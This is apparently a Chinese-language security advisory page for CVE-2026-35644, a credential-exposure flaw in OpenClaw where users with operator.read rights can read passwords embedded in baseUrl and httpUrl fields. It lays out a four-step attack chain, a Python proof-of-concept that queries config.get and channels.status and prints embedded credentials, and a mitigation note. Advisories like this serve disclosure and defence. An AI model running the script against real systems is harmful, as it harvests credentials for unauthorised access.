IPBUF安全漏洞报告
English
CVE-2026-35644 CVSS 6.5 中危

CVE-2026-35644 OpenClaw凭据信息泄露漏洞

披露日期: 2026-04-09

漏洞信息

漏洞编号
CVE-2026-35644
漏洞类型
信息泄露
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
OpenClaw

相关标签

信息泄露OpenClaw凭据泄露CVSS-6.5

漏洞概述

OpenClaw在2026.3.22之前的版本中存在严重的信息泄露漏洞。由于系统未能妥善保护网关快照中的敏感数据,拥有operator.read权限的攻击者可以通过访问config.get和channels.status接口,直接从响应的baseUrl和httpUrl字段中提取认证凭据,从而造成敏感信息泄露。

技术细节

该漏洞的根源在于OpenClaw在生成和传输网关配置快照时,未对敏感凭据进行脱敏处理。在受影响版本中,当攻击者获得具有operator.read权限的低级别账号后,可以向系统发送特定的API请求至config.get或channels.status端点。系统响应的JSON数据中,通道配置对象的baseUrl和httpUrl字段包含了完整的URL信息。攻击者可以解析这些URL中的userinfo部分(通常格式为http://username:password@host),从而还原出明文或编码后的认证凭证。由于CVSS向量显示无需用户交互且攻击复杂度低,这使得攻击者能够轻易地批量获取系统凭据,进而可能利用这些凭据访问其他关联服务,扩大攻击面。

攻击链分析

STEP 1
获取低权限账号
攻击者注册或获取一个具有operator.read权限的低权限账号。
STEP 2
请求敏感接口
利用该账号的Token访问config.get和channels.status API端点。
STEP 3
解析响应数据
接收服务器返回的网关快照JSON数据,定位其中的baseUrl和httpUrl字段。
STEP 4
提取凭据
解析URL中的User Info组件(用户名:密码),获取系统认证凭据。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # Exploit Title: OpenClaw Credential Exposure PoC # CVE: CVE-2026-35644 # Description: Retrieves gateway snapshots to extract credentials from URL fields. def check_cve(url, token): headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/json" } # Target endpoints mentioned in the description endpoints = ["/api/config.get", "/api/channels.status"] for endpoint in endpoints: try: response = requests.get(f"{url}{endpoint}", headers=headers, timeout=10) if response.status_code == 200: data = response.json() print(f"[+] Data retrieved from {endpoint}:") print(json.dumps(data, indent=2)) # Basic logic to highlight potential credential exposure if 'channels' in data: for channel in data['channels']: for field in ['baseUrl', 'httpUrl']: if field in channel and '://' in channel[field] and '@' in channel[field]: print(f"[!] Potential exposed credential in {field}: {channel[field]}") else: print(f"[-] Failed to retrieve {endpoint}: Status {response.status_code}") except Exception as e: print(f"[-] Error connecting to {endpoint}: {e}") if __name__ == "__main__": target_url = "http://localhost:8080" # Token with operator.read scope auth_token = "OPERATOR_READ_TOKEN" check_cve(target_url, auth_token)

影响范围

OpenClaw < 2026.3.22

防御指南

临时缓解措施
如果无法立即升级,建议通过WAF或API网关拦截对config.get和channels.status接口的响应数据,并对包含敏感信息的字段进行实时脱敏处理,同时加强对API访问日志的审计,监控异常的数据读取行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表